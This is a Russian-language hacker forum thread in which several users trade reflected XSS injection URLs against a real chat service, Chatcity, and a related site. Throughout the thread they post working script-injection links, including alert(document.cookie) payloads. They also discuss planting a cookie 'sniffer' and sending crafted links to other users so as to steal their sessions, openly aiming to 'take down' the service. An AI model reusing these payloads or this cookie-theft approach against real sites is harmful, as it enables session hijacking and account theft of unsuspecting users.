Дыры в Чатсити Ходил по чатсити, зашёл в какой то татарский чат. Начал там пробовать что либо сделать, без особой надежды на успех.. И вот кое что нашёл, когда делается запрос на приват, человек который предлогал приват ушёл, я потом нажал вход в приват и вылезло это: _http://www.38557.chatcity.ru/kpobatka?f=45&newwin=1&id2=9919&id=6595wr35Ou9b&c=38557 (это только тогда, когда ты находишься в чате) Вылезло окно, мне написали: *Этот человек упал слишком надолго и ему теперь надо перезайти.* Потом я вышел из чата, и попробовал зайти по тому же адресу: _http://www.38557.chatcity.ru/kpobatka?f=45&newwin=1&id2=9919&id=6595wr35Ou9b&c=38557 Мне написали: *Сообщите об ошибке / Send bug report* Эта надпись была в виде ссылки. Я её открыл, адрес был такой: _http://www.38557.chatcity.ru/bug/?err=NoChMap(check_user_ids)&www.38557.chatcity.ru&f=45&newwin=1&id2=9919&id=6595wr35Ou9b&c=38557 И там уже появилось окно, в нём была описана причина произошедшей ошибки.. Я конечно не говорю что это взлом или уязвимость, но такая череда мне кажется странной.. Щас пробую вызвать алерт.. Если что то получится, обязательно отпишусь.
Вот и на "бездырочном" чатсити я вызвал алерт) Теперь пользуйтесь пока не прикрыли) _http://www.38557.chatcity.ru/bug/?err=NoChMap(check_user_ids)&http://www.38557.chatcity.ru&f=45&newwin=1&id2=9919&id=6595wr35ou9b&c=38557/"><script>alert('Yo')</script> Хе) Вот и вам всё крутое чатсити) _http://img521.imageshack.us/img521/2051/alert7wm.jpg
Вот нарыл прикольно ) <input type=hidden name=err value="IllegalChannel(get_ch)"> <input type=hidden name=browser value="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1)"> <input type=hidden name=addr value="0.0.0.0.0"> <input type=hidden name=via value=""> <input type=hidden name=referer value="http://1498.chatcity.ru/kpobatka?f=rrtert"> <input type=hidden name=args value="1498.chatcity.ru&f=rrtert"> Зачем Админ не сделал скрипт простой отправки ? мне так кажится можна им воспользоваться, если сохранить это у себя на машине.
попробуйте сначала кукисы получить через алертик (xss), тогда сразу видно будет что что-то стоящее нашли))))
Кстати да, Rebz верно говоришь) Вчера небыло времени ещё тестить на куки.. Сегодня попробую) Главное что хоть что то есть)
Вот п3.14.дец.. Сниффер не получается воткнуть..( Ну то есть втыкается он, но куки не приходят..( Буду ещё искать дырки, люди, помогайте) Вместе мы снесём чатсити
Так-с.. Нашёл ещё одну.. _http://www.38557.chatcity.ru/kpobatka?f=45&newwin=1&id2=9919&id=6595wr35Ou9b&c=38557"><script>alert('Yo')</script> Сначало выпадает окошко о прекращении связи и с вопросом об перезаходе, (_http://img62.imageshack.us/img62/2659/quest4jr.jpg) нажимаете ОТМЕНА, и сразу же запускается алерт.. И опять же, как и в том случае, "> "вшивается" в тело страницы.. _http://img472.imageshack.us/img472/416/alert20gy.jpg
Автор, вставляй не alert('text'), а alert(document.cookie);.. хоть пассивную xss-ку найти можно.. но пока чё-то не получается.. если вот так взять.. можно попробовать залогиниться и ссылку кому-нить дать затестить..
Rebz, если алерт проходит, то уже значит дыра есть, а раз дыра, то 80-90% что там xss.. PS у меня ник есть) Или называй слип, меня так все называют)
_http://www.38557.chatcity.ru/bug/?err=NoChMap(check_user_ids)&http://www.38557.chatcity.ru&f=45&newwin=1&id2=9919&id=6595wr35ou9b&c=38557/"><script>alert('Yo')</script> Вот эту давал себе на съедение) Не приходят куки.. А с этой не пробовал: _http://www.38557.chatcity.ru/kpobatka?f=45&newwin=1&id2=9919&id=6595wr35Ou9b&c=38557"><script>alert('Yo')</script> И ещё одно, со второй дыркой (см. выше) интересная вещь.. Когда заходишь, ну пишет о прекращении связи, нажимаешь отмену, выпадает алерт, потом нажимаешь на ссылку *Сообщить об ошибке* и на открывающейся странице, алерт уже выпадает автоматом) Хотя в адресной строке его нету) Ну и на открывшейся странице, можно просмотреть свой айпишник и т.д.)
может пригодиться, ещё один алерт _http://romashka.krovatka.ru/k?f=60&id=6226VLpq63TU&c=8&st=</script><script>alert(document.cookie)</script><h1>xss%20by%20Antoshka2003</h1&nc=2162
Ну, вообще-то сниффер не всегда можно впарить...например ссылка на сниффер заключается в кавычки, а на сайте стоит на них филтр...получается, что алерт вылетает на раз, а толку-ноль.
Ещё небольшое добавление по чатсити.. Во первых расшарил форму входа в чат, так, на всякий случай, может кому то пригодится: Code: <form action="http://38557.chatcity.ru/" method=post> <input type=hidden name="c" value="38557"> Имя: <input name="mn" maxlength=30> Пароль: <input type=password name="pass"> (для зарегистрированных) <input type=submit value=" OK "> </form> И ещё одна xss: _http://www.38557.chatcity.ru/people/pp10.cgi?c=38557&str=%3Cscript%3Ealert%28%27Yo%27%29%3C%2Fscript%3E Они лолы, на самом видном месте.. На поиске какой либо анкеты..
